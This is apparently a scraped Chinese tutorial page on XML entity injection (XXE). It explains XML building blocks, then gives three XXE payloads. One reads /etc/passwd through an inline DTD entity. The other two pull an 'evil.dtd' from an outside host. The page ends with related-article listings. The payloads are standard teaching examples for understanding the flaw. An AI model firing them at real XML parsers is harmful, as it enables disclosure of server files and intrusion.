1. 程式人生 > >XXE-XML實體注入

XXE-XML實體注入

XML實體注入?
為什麼稱為XML實體注入=XXE了?

首先,要了解xml文件的構建模組

所有的 XML 文件(以及 HTML 文件)均由以下簡單的構建模組構成:元素、屬性、實體、PCDATA、CDATA
簡單對這幾個模組解釋

1,元素

元素是 XML 以及 HTML 文件的主要構建模組,元素可包含文字、其他元素或者是空的。

例項:

<body>body text in between</body>
<message>some message in between</message>

空的 HTML 元素的例子是 “hr”、“br” 以及 “img”。

2,屬性

屬性可提供有關元素的額外資訊

例項:

<img src="computer.gif" />

3,實體

實體是用來定義普通文字的變數。實體引用是對實體的引用。—那麼這裡就是關於XML實體注入的關鍵點了

4,PCDATA

PCDATA 的意思是被解析的字元資料(parsed character data)。

PCDATA 是會被解析器解析的文字。這些文字將被解析器檢查實體以及標記。

5,CDATA

CDATA 的意思是字元資料(character data)。

CDATA 是不會被解析器解析的文字。

從上面可以找到,實體是用來定義普通文字的變數,實體引用是對實體的引用,XML實體注入就是對實體模組中的內容插入的一種注入

XXE的攻擊與危害(XML External Entity)

1,何為XXE?

答: xxe也就是xml外部實體注入。

2,怎樣構建外部實體注入?

方式一:直接通過DTD外部實體宣告

XML內容

<?xml version="1.0"?>
<!DOCTYPE a [
	<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<c>&b;</c>

方式二:通過DTD文件引入外部DTD文件,再引入外部實體宣告

<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://mark4z5.com/evil.dtd">
<c>&b;</c>

DTD檔案內容

<!ENTITY b SYSTEM "file:///etc/passwd">

方式三:通過DTD外部實體宣告引入外部實體宣告

好像有點拗口,其實意思就是先寫一個外部實體宣告,然後引用的是在攻擊者伺服器上面的外部實體宣告

具體看例子,XML內容

<?xml version="1.0"?>
<!DOCTYPE a [
	<!ENTITY  %  d SYSTEM "http://mark4z5.com/evil.dtd">
	%d;
]>
<c>&b;</c>

dtd檔案內容

<!ENTITY b SYSTEM "file://etc/passwd">

3,支援的協議有哪些?
不同程式支援的協議如下圖

相關推薦

XXE-XML實體注入

XML實體注入? 為什麼稱為XML實體注入=XXE了? 首先,要了解xml文件的構建模組 所有的 XML 文件(以及 HTML 文件)均由以下簡單的構建模組構成:元素、屬性、實體、PCDATA、CDATA 簡單對這幾個模組解釋 1,元素 元素是 XML 以及 HTML 文件的主要構建模組,元

XXE技巧拓展】————3、XML實體注入漏洞攻與防

目錄 XML基礎 XML實體注入漏洞的幾種姿勢 防禦XML實體注入漏洞 XML基礎 XML是一種用於標記電子檔案使其具有結構性的標記語言,用於標記電子檔案使其具有結構性的標記語言,可以用來標記資料、定義資料型別,是一種允許使用者對自己的標記語言進行定義的源語言。XM

淺談XML實體注入漏洞

本文作者:[email protected],本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載 學習了XXE漏洞,自己來總結一下,如果有什麼寫的不到位,不夠好的地方,還請師傅們指出。 0×00 XXE漏洞 XXE漏洞全稱XML External Entity

web安全/滲透測試--24--XXE外部實體注入

1、漏洞描述: XXE Injection即XML External Entity Injection,也就是XML外部實體注入攻擊。漏洞是在對非安全的外部實體資料進行處理時引發的安全問題。 在XML1.0標準裡,XML文件結構裡定義了實體(entity)這

webservice XML實體注入漏洞解決方案

漏洞描述 目標存在webservice XML實體注入漏洞。XML是可擴充套件標記語言,標準通用標記語言的子集,是一種用於標記電子檔案使其具有結構性的標記語言。XML文件結構包括XML宣告、DTD文件型別定義(可選)、文件元素。當允許引用外部實體時,通過構造

xxe XML外部實體注入

xml,允許我們儲存和傳輸資料。也提供了DTD,允許我們進行文件型別定義,外部DTD,定義的實體可以竊取伺服器資訊,上傳至指定的伺服器上。   接下來,就模擬一下:xxe,竊取資訊伺服器資訊,上傳至指定伺服器。   1.編寫接收介面:    @RequestMapping(

PHP環境 XML外部實體注入漏洞(XXE

XXE XXE漏洞的文章網上就很多了 檔案讀取 <!DOCTYPE root[ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> ]> <

XXE注入--XML外部實體注入(XML External Entity)

前言 很早就聽說過這個漏洞,但是在實際的環境中很少遇見,最近碰到過XXE注入漏洞,於是就來研究一下XXE注入。 XXE Injection即XML External Entity Inje

Xml外部實體注入漏洞(XXE)與防護

Xml外部實體注入(XXE) 除了json外,xml也是一種常用的資料傳輸格式。對xml的解析有以下幾種常用的方式:DOM,SAX,JDOM,DOM4J,StAX等。然而這幾種解析方式都可能會出現外部實體注入漏洞,如微信支付的回撥就出現過(見參考資料2)。

XXE(XML External Entity attack)XML外部實體注入攻擊

導語   XXE:XML External Entity 即外部實體,從安全形度理解成XML External Entity attack 外部實體注入攻擊。由於程式在解析輸入的XML資料時,解析了攻擊者偽造的外部實體而產生的。例如PHP中的simplexml_load 預

【程式碼審計】CLTPHP_v5.5.3前臺XML外部實體注入漏洞分析

0x01 環境準備 CLTPHP官網:http://www.cltphp.com 網站原始碼版本:CLTPHP內容管理系統5.5.3版本 程式原始碼下載:https://gitee.com/chichu/cltphp 預設後臺地址: http://127.0.0.1/admin/login/index

通過JAXB看XML外部實體注入(XML External Entity)

我們先使用JAXB提供的註解標記下java類和XML對映關係: package jaxb; import javax.xml.bind.annotation.XmlAccessType; import javax.xml.bind.annotation.XmlAccess

XML檔案的解析以及XML外部實體注入防護

XML外部實體注入 例: InputStream is = Test01.class.getClassLoader().getResourceAsStream("evil.xml");//sou

Web Hacking 101 中文版 十四、XML 外部實體注入(一)

十四、XML 外部實體注入 作者:Peter Yaworski 譯者:飛龍 XML 外部實體(XXE)漏洞涉及利用應用解析 XML 輸入的方式,更具體來說,應用程式處理輸入中外部實體的包含方式。為了完全理解理解如何利用,以及他的

小試XML實體註入攻擊

如果 utf nco target 參數 發送 類型 log 本地 基礎知識 XML(Extensible Markup Language)被設計用來傳輸和存儲數據。關於它的語法,本文不準備寫太多,只簡單介紹一下。 XML基本知識 1 2 3 4 5 <?

4.XXE (XML External Entity Injection)

any 外部實體 nal libxml 挖掘 lan dddddd php 尋找 XXE (XML External Entity Injection) 0x01 什麽是XXE XML外部實體註入 若是PHP,libxml_disable_entity_loader設置為T

Spring依賴注入(構造引數注入、集合,陣列屬性注入XML自動注入 ,全註解配置)

依賴注入 構造引數注入        --> 常用的是方案一和方案二         MyBean類  YouBean類 <?xml version="1.0" encodin

spring xml方式注入沒有提供set方法

org.springframework.beans.NotWritablePropertyException: Invalid property 'xxx'  Bean property 'xxx' is not writable or has an invalid setter meth

applicationContext.xml ---不可注入的屬性型別

<property name="map"> <map> <entry> <key><value>basketball

【Spring】xml配置注入方式

spring有多種依賴注入的形式,下面僅介紹spring通過xml進行IOC配置的方式: 一、Setter注入 set注入是最簡單常用的注入方式 package com.lhk.spring.de